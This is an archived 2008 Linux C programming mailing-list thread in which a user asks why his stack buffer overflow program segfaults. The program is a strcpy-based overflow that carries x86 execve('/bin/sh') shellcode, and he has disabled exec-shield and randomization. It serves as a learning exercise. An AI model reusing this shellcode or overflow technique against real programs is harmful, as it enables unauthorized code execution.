linux-c-programming.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
From: Varun Chandramohan <varunc@linux.vnet.ibm.com>
To: ninjaboy <n0b0dyn1nj4@gmail.com>
Cc: "\"Patrik Båt, RTL\"" <rtl@codehack.se>,
	linux-c-programming@vger.kernel.org
Subject: Re: buffer overflow
Date: Tue, 11 Mar 2008 18:54:39 +0530	[thread overview]
Message-ID: <47D68817.1070803@linux.vnet.ibm.com> (raw)
In-Reply-To: <a3399010803110512q41bd323cs54866a3b05c36be5@mail.gmail.com>

ninjaboy wrote:
> 2008/3/11, Patrik Båt, RTL <rtl@codehack.se>:
>   
>> Yeah, maybe some hardcore c coder in here can help you more...
>>
>>  My primary "tip of the day" was strace ;)
>>
>>
>>  tis 2008-03-11 klockan 16:11 +0530 skrev Varun Chandramohan:
>>  > Patrik Båt wrote:
>>  > > tis 2008-03-11 klockan 11:38 +0530 skrev Varun Chandramohan:
>>  > >
>>  > >> Hi all,
>>  > >>
>>  > >>              Can someone tell me whats is wrong with this program? All i
>>  > >> get is seg fault. Iam trying to create a stack overflow and exec a
>>  > >> shell. Somehow its not working. The system is x86 on linux.
>>  > >> gcc (GCC) 4.1.1 20070105 (Red Hat 4.1.1-52)
>>  > >> Copyright (C) 2006 Free Software Foundation, Inc.
>>  > >> This is free software; see the source for copying conditions.  There is NO
>>  > >> warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
>>  > >>
>>  > >>
>>  > >>
>>  > >> The Code:
>>  > >> #include <stdio.h>
>>  > >> #include <string.h>
>>  > >>
>>  > >> char shellcode[] =
>>  > >>         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
>>  > >>         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
>>  > >>         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
>>  > >> #if 0
>>  > >> char shellcode[] =
>>  > >>         "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
>>  > >>         "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
>>  > >>         "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
>>  > >>         "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
>>  > >>
>>  > >> #endif
>>  > >>
>>  > >> char large_string[128];
>>  > >> int main() {
>>  > >>   char buffer[96];
>>  > >>   int i;
>>  > >>   long *long_ptr = (long *) large_string;
>>  > >>   memset(&buffer,0,sizeof(buffer));
>>  > >>
>>  > >>   for (i = 0; i < 32; i++)
>>  > >>     *(long_ptr + i) =  (long)&buffer;
>>  > >>
>>  > >>   for (i = 0; i < strlen(shellcode); i++)
>>  > >>     large_string[i] = shellcode[i];
>>  > >>
>>  > >>   strcpy(buffer,large_string);
>>  > >>
>>  > > strcpy(large_string,buffer);
>>  > >
>>  > > //This is working tho...
>>  > >
>>  > Thanks for the reply, but this doesnt spawn a shell, does it? This
>>  > simply avoids the sigsegv
>>  > >> }
>>     
>
> Maybe stack is not executable?
>
>   
Nope, made sure it is.....removed all the execshield and ramdom vm space
protection. :)

--
To unsubscribe from this list: send the line "unsubscribe linux-c-programming" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

  reply	other threads:[~2008-03-11 13:24 UTC|newest]

Thread overview: 11+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2008-03-11  6:08 buffer overflow Varun Chandramohan
2008-03-11  8:33 ` Patrik Båt, RTL
2008-03-11 10:04 ` Patrik Båt, RTL
2008-03-11 10:41   ` Varun Chandramohan
2008-03-11 12:04     ` Patrik Båt, RTL
2008-03-11 12:12       ` ninjaboy
2008-03-11 13:24         ` Varun Chandramohan [this message]
     [not found]     ` <17f2441a0803110649n662264cdp5a4e20361145eac7@mail.gmail.com>
2008-03-12  4:28       ` Varun Chandramohan
2008-03-11 18:32 ` vincent-perrier
2008-03-12  4:29   ` Varun Chandramohan
  -- strict thread matches above, loose matches on Subject: below --
2008-03-17  8:28 nai.xia

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=47D68817.1070803@linux.vnet.ibm.com \
    --to=varunc@linux.vnet.ibm.com \
    --cc=linux-c-programming@vger.kernel.org \
    --cc=n0b0dyn1nj4@gmail.com \
    --cc=rtl@codehack.se \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).